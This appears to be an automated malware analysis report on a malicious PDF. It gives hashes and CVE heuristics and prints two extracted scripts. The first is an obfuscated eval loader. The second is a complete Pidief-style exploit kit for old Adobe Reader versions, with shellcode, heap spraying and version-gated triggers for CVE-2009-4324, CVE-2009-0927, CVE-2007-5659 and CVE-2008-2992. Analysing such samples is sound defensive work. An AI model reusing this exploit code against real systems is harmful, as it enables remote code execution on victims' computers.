Malicious PDF — malware analysis report

Static analysis result for SHA-256 9bd2f848e303ef69…

MALICIOUS

PDF

78.6 KB Authoring application: ring.fromChar First seen: 2026-05-09
MD5: a403c1bafdf5e36c1692a928646e8720 SHA-1: 983c3f96bff317fbfdfd01d067328dba521ca696 SHA-256: 9bd2f848e303ef698b418550fb28653af8a094edc84ee50e373c381a0e75de4a
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload or exploiting vulnerabilities. No specific IOCs were extracted beyond the presence of the JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x1383B 390 bytes
SHA-256: c36451772b3d07346551f6d4ddd9601f8dc752e192f2640a0bf07110974e8f87
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var btct="";
tuqi='his';
lttz='tit';
e('marw=t'+tuqi+"."+lttz+t);
t='cer'
tdvx='produ';
e('jjg=t'+tuqi+"."+tdvx+t);
mbuuc=e('St'+jjg+'Code');
rml = e(marw);
e('k=rml.length');
for (i = 0; i < k; i+=2) {
	ownd = rml[i] + rml[i+1];
	btct += mbuuc(ownd);
}
e(btct);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: e9b8d779adc9f7e6a8fc22fccf27fa37ca0120b64262ac63753ef0b6574b0b6a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4234%ue2aa%uc3fa%ue5e8%uffff%uabff%u434e%u4242%uc31c%u1eae%u4243%ucb42%ucfa5%u520d%u2dcf%u7316%u1599%u1113%u1111%u1111%u1111%u1117%u2a11%u4346%u4242%u1417%u2a11%u2c2d%u4242%u372a%u2e30%u162f%ucc2a%u4c0c%uaaae%u420a%u4242%uaa12%u423e%u4242%u92bd%u86c1%u2a4a%uad0d%u470d%uaa12%u422e%u4242%u92bd%u82c7%u5537%u1628%ub11b%u2ae8%ubc30%u54f1%u5faa%u4242%u1242%u13aa%u4242%ubd42%u1192%ubc28%ucb2a%u432d%uaaff%u424a%u4242%uaa12%u427e%u4242%u92bd%u7322%u2682%u12c9%uc972%u4e10%u10c9%uc956%u6a30%u5afb%u4242%u7342%u73bd%uee82%u237e%u403e%u626e%u8d83%u434f%ua085%uc3b2%u19bd%u08fe%uc928%u5200%u50c9%u9b37%u06cb%u5e66%u8123%uc922%u662e%uc966%u7e07%u16c9%u3a47%ua843%u08c9%uc95a%u6218%ua943%u76a1%uc90b%uc976%uac43%ubd73%u8273%ueebe%u82c6%u4536%u8d83%u434f%ua985%u79b6%u663e%u376a%uc9a3%u6618%ua943%uc924%u094e%u18c9%u435e%uc9a9%uc946%uaa43%u06cb%u5e66%u8023%u424a%uadaa%ubdbc%u2abd%u3636%u7832%u6d6d%u2824%u3a30%u216c%u6c2d%u2121%u2d6d%u326c%u322a%u247d%u737f%u6474%u7f27%u4277';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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